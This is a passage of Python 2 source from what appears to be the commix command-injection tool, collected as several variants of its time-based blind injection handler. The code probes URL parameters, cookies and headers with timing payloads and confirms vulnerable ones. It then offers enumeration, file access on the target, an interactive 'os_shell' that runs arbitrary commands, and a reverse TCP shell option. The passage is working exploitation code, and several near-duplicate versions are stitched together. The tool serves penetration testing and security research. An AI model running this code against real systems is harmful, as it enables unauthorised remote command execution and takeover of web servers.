                        percent = (num_of_chars * 100) / total
                        float_percent = "{0:.1f}".format(round(((num_of_chars * 100) / (total * 1.0)), 2))
                        if str(float_percent) == "100.0":
                            if no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
                                    sys.stdout.flush()
                                else:
                                    percent = ""
                                break
                            else:
                                percent = str(float_percent) + "%"
                            # Print logs notification message
                            percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
                            sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
                            sys.stdout.flush()
                            print ""
                            logs.logs_notification(filename)
                            raise
                        else:
                            percent = str(float_percent) + "%"
                        break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (
                        (url_time_response == 0 and (how_long - delay) >= 0)
                        or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
                        or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
                    ):

                        if (len(TAG) == output_length) and (is_vulnerable == True):
                            found = True
                            no_result = False
                            is_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " Cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " HTTP header"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = (
                                    " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
                                )

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename, injection_type, technique
                                )
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, http_request_method, vuln_parameter, payload
                                )
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            # Print the findings to terminal.
                            print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
                            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                                "%20", " ", payload.replace("\n", "\\n")
                            ) + Style.RESET_ALL

                            if settings.TARGET_OS == "win":
                                delete_previous_shell(
                                    separator,
                                    payload,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                )
                                time.sleep(1)

                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    enumerate_again = raw_input(
                                        "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                    ).lower()
                                    if enumerate_again in settings.CHOISE_YES:
                                        tfb_enumeration.do_check(
                                            separator,
                                            maxlen,
                                            TAG,
                                            cmd,
                                            prefix,
                                            suffix,
                                            delay,
                                            http_request_method,
                                            url,
                                            vuln_parameter,
                                            OUTPUT_TEXTFILE,
                                            alter_shell,
                                            filename,
                                            url_time_response,
                                        )
                                        break
                                    elif enumerate_again in settings.CHOISE_NO:
                                        break
                                    elif enumerate_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator,
                                            payload,
                                            TAG,
                                            cmd,
                                            prefix,
                                            suffix,
                                            http_request_method,
                                            url,
                                            vuln_parameter,
                                            OUTPUT_TEXTFILE,
                                            alter_shell,
                                            filename,
                                        )
                                        sys.exit(0)
                                    else:
                                        if enumerate_again == "":
                                            enumerate_again = "enter"
                                        print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_enumeration.do_check(
                                    separator,
                                    maxlen,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    delay,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                    url_time_response,
                                )

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                while True:
                                    file_access_again = raw_input(
                                        "(?) Do you want to access files again? [Y/n] > "
                                    ).lower()
                                    if file_access_again in settings.CHOISE_YES:
                                        tfb_file_access.do_check(
                                            separator,
                                            maxlen,
                                            TAG,
                                            cmd,
                                            prefix,
                                            suffix,
                                            delay,
                                            http_request_method,
                                            url,
                                            vuln_parameter,
                                            OUTPUT_TEXTFILE,
                                            alter_shell,
                                            filename,
                                            url_time_response,
                                        )
                                        break
                                    elif file_access_again in settings.CHOISE_NO:
                                        break
                                    elif file_access_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator,
                                            payload,
                                            TAG,
                                            cmd,
                                            prefix,
                                            suffix,
                                            http_request_method,
                                            url,
                                            vuln_parameter,
                                            OUTPUT_TEXTFILE,
                                            alter_shell,
                                            filename,
                                        )
                                        sys.exit(0)
                                    else:
                                        if file_access_again == "":
                                            file_access_again = "enter"
                                        print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_file_access.do_check(
                                    separator,
                                    maxlen,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    delay,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                    url_time_response,
                                )
                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                check_how_long, output = tfb_enumeration.single_os_cmd_exec(
                                    separator,
                                    maxlen,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    delay,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                    url_time_response,
                                )
                                # Export injection result
                                tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(
                                    separator,
                                    payload,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                )
                                sys.exit(0)

                            try:
                                # Pseudo-Terminal shell
                                go_back = False
                                go_back_again = False
                                while True:
                                    # Delete previous shell (text) files (output) from temp.
                                    delete_previous_shell(
                                        separator,
                                        payload,
                                        TAG,
                                        cmd,
                                        prefix,
                                        suffix,
                                        http_request_method,
                                        url,
                                        vuln_parameter,
                                        OUTPUT_TEXTFILE,
                                        alter_shell,
                                        filename,
                                    )
                                    if menu.options.verbose:
                                        print ""
                                    if go_back == True:
                                        break
                                    gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
                                    if gotshell in settings.CHOISE_YES:
                                        print ""
                                        print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                        if readline_error:
                                            checks.no_readline_module()
                                        while True:
                                            try:
                                                # Tab compliter
                                                if not readline_error:
                                                    readline.set_completer(menu.tab_completer)
                                                    # MacOSX tab compliter
                                                    if getattr(
                                                        readline, "__doc__", ""
                                                    ) is not None and "libedit" in getattr(readline, "__doc__", ""):
                                                        readline.parse_and_bind("bind ^I rl_complete")
                                                    # Unix tab compliter
                                                    else:
                                                        readline.parse_and_bind("tab: complete")
                                                cmd = raw_input(
                                                    """commix("""
                                                    + Style.BRIGHT
                                                    + Fore.RED
                                                    + """os_shell"""
                                                    + Style.RESET_ALL
                                                    + """) > """
                                                )
                                                cmd = checks.escaped_cmd(cmd)
                                                if cmd.lower() in settings.SHELL_OPTIONS:
                                                    os_shell_option = checks.check_os_shell_options(
                                                        cmd.lower(), technique, go_back, no_result
                                                    )
                                                    if os_shell_option == False:
                                                        if no_result == True:
                                                            return False
                                                        else:
                                                            return True
                                                    elif os_shell_option == "quit":
                                                        # Delete previous shell (text) files (output) from temp.
                                                        delete_previous_shell(
                                                            separator,
                                                            payload,
                                                            TAG,
                                                            cmd,
                                                            prefix,
                                                            suffix,
                                                            http_request_method,
                                                            url,
                                                            vuln_parameter,
                                                            OUTPUT_TEXTFILE,
                                                            alter_shell,
                                                            filename,
                                                        )
                                                        sys.exit(0)
                                                    elif os_shell_option == "back":
                                                        go_back = True
                                                        break
                                                    elif os_shell_option == "os_shell":
                                                        print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                                    elif os_shell_option == "reverse_tcp":
                                                        # Set up LHOST / LPORT for The reverse TCP connection.
                                                        lhost, lport = reverse_tcp.configure_reverse_tcp()
                                                        while True:
                                                            if lhost and lport in settings.SHELL_OPTIONS:
                                                                result = checks.check_reverse_tcp_options(lhost)
                                                            else:
                                                                cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
                                                                result = checks.check_reverse_tcp_options(cmd)
                                                            if result != None:
                                                                if result == 0:
                                                                    return False
                                                                elif result == 1 or result == 2:
                                                                    go_back_again = True
                                                                    break
                                                            # Command execution results.
                                                            from src.core.injections.results_based.techniques.classic import (
                                                                cb_injector,
                                                            )

                                                            separator = checks.time_based_separators(
                                                                separator, http_request_method
                                                            )
                                                            whitespace = settings.WHITESPACES[0]
                                                            response = cb_injector.injection(
                                                                separator,
                                                                TAG,
                                                                cmd,
                                                                prefix,
                                                                suffix,
                                                                whitespace,
                                                                http_request_method,
                                                                url,
                                                                vuln_parameter,
                                                                alter_shell,
                                                                filename,
                                                            )
                                                            # Evaluate injection results.
                                                            shell = cb_injector.injection_results(response, TAG)
                                                            if menu.options.verbose:
                                                                print ""
                                                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                                    else:
                                                        pass
                                                else:
                                                    print ""
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tfb_injector.injection(
                                                        separator,
                                                        maxlen,
                                                        TAG,
                                                        cmd,
                                                        prefix,
                                                        suffix,
                                                        delay,
                                                        http_request_method,
                                                        url,
                                                        vuln_parameter,
                                                        OUTPUT_TEXTFILE,
                                                        alter_shell,
                                                        filename,
                                                        url_time_response,
                                                    )
                                                    # Export injection result
                                                    tfb_injector.export_injection_results(
                                                        cmd, separator, output, check_how_long
                                                    )
                                            except KeyboardInterrupt:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator,
                                                    payload,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell,
                                                    filename,
                                                )
                                                raise
                                            except SystemExit:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator,
                                                    payload,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell,
                                                    filename,
                                                )
                                                raise

                                    elif gotshell in settings.CHOISE_NO:
                                        if checks.next_attack_vector(technique, go_back) == True:
                                            break
                                        else:
                                            if no_result == True:
                                                return False
                                            else:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator,
                                                    payload,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell,
                                                    filename,
                                                )
                                                return True
                                    elif gotshell in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator,
                                            payload,
                                            TAG,
                                            cmd,
                                            prefix,
                                            suffix,
                                            http_request_method,
                                            url,
                                            vuln_parameter,
                                            OUTPUT_TEXTFILE,
                                            alter_shell,
                                            filename,
                                        )
                                        sys.exit(0)
                                    else:
                                        if gotshell == "":
                                            gotshell = "enter"
                                        print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            except KeyboardInterrupt:
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(
                                    separator,
                                    payload,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                )
                                raise

                            except SystemExit:
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(
                                    separator,
                                    payload,
                                    TAG,
                                    cmd,
                                    prefix,
                                    suffix,
                                    http_request_method,
                                    url,
                                    vuln_parameter,
                                    OUTPUT_TEXTFILE,
                                    alter_shell,
                                    filename,
                                )
                                raise

                        break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 14
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  again_warning = True
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  how_long_statistic = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  if menu.options.verbose:
    print settings.INFO_SIGN + "Testing the " + technique + "... "

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        # If a previous session is available.
        if settings.LOAD_SESSION and session_handler.notification(url, technique):
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay

        if settings.RETEST == True:
          settings.RETEST = False
          from src.core.injections.results_based.techniques.classic import cb_handler
          cb_handler.exploitation(url, delay, filename, http_request_method)

        if not settings.LOAD_SESSION:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
          
          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              if alter_shell:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
              else:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              if menu.options.base64:
                payload = base64.b64encode(payload)

              # Check if defined "--verbose" option.
              if menu.options.verbose:
                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

              # Statistical analysis in time responses.
              how_long_statistic = how_long_statistic + how_long

              # Reset the how_long_statistic counter
              if output_length == tag_length - 1:
                how_long_statistic = 0

              # Injection percentage calculation
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

              if percent == 100 and no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = ""
              else:
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                  # Time relative false positive fixation.
                  false_positive_fixation = False
                  if len(TAG) == output_length:
                    # Windows targets.
                    if settings.TARGET_OS == "win":
                      if how_long > (how_long_statistic / output_length):
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True
                    # Unix-like targets.
                    else:
                      if delay == 1 and (how_long_statistic == delay) or \
                        delay == 1 and (how_long_statistic == how_long) or \
                        delay > 1 and (how_long_statistic == (output_length + delay)) and \
                        how_long == delay + 1:
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True

                  # Identified false positive warning message.
                  if false_positive_warning and again_warning:
                    again_warning = False
                    warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                    warning_msg += "requests. This behavior which may lead to false-positive results."
                    sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
                    print ""

                  # Check if false positive fixation is True.
                  if false_positive_fixation:
                    false_positive_fixation = False
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay
                    randv1 = random.randrange(0, 1)
                    randv2 = random.randrange(1, 2)
                    randvcalc = randv1 + randv2

                    if settings.TARGET_OS == "win":
                      if alter_shell:
                        cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                      else:
                        cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                    else:
                      cmd = "(" + str(randv1) + " + " + str(randv2) + ")"

                    # Check for false positive resutls
                    how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
                      
                      if str(output) == str(randvcalc) and len(TAG) == output_length:
                        is_vulnerable = True
                        how_long_statistic = 0
                        if not menu.options.verbose:
                          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                          percent = ""
                    else:
                      break
                  # False positive
                  else:
                    if not menu.options.verbose:
                      percent = str(float_percent)+ "%"
                      sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                      sys.stdout.flush()
                    continue    
                else:
                  if not menu.options.verbose:
                    percent = str(float_percent)+ "%"
                    sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                    sys.stdout.flush()
                  continue
              if not menu.options.verbose:
                sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                sys.stdout.flush()

            except KeyboardInterrupt: 
              raise

            except SystemExit:
              raise

            except:
              break
            break
            
        # Yaw, got shellz! 
        # Do some magic tricks!
        if (url_time_response == 0 and (how_long - delay) >= 0) or \
           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :  

          if (len(TAG) == output_length) and \
             (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

            found = True
            no_result = False

            if settings.LOAD_SESSION:
              is_vulnerable = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " Cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " HTTP header"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
            
            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

            if not settings.LOAD_SESSION:
              shell = ""
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable)
              is_vulnerable = False
            else:
              settings.LOAD_SESSION = False 
            
            new_line = False   
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True:
              while True:
                enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower()
                if enumerate_again in settings.CHOICE_YES:
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print  ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  new_line = True
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              if menu.enumeration_options():
                tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True:
              while True:
                file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > ").lower()
                if file_access_again in settings.CHOICE_YES:
                  tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  if not new_line:
                    new_line = True
                  break 
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              # if not menu.enumeration_options() and not menu.options.os_cmd:
              #   print ""
              tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

            # Check if defined single cmd.
            if menu.options.os_cmd:
              cmd = menu.options.os_cmd
              check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
              # Export injection result
              tb_injector.export_injection_results(cmd, separator, output, check_how_long)
              sys.exit(0)

            if not new_line :
              print ""

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                          print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          from src.core.injections.results_based.techniques.classic import cb_injector
                          separator = checks.time_based_separators(separator, http_request_method)
                          whitespace = settings.WHITESPACES[0]
                          response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = cb_injector.injection_results(response, TAG)
                          # Export injection result
                          if menu.options.verbose:
                            print ""
                          print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                      else:
                        pass
                      
                    else:
                      print ""
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                        # Export injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                      print ""
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  
                    
              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                pass
              #break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 15
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  percent = 0
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False

  injection_type = "Blind-based Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
  
  percent = str(percent)+"%"
  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
  sys.stdout.flush()

  # Calculate all possible combinations
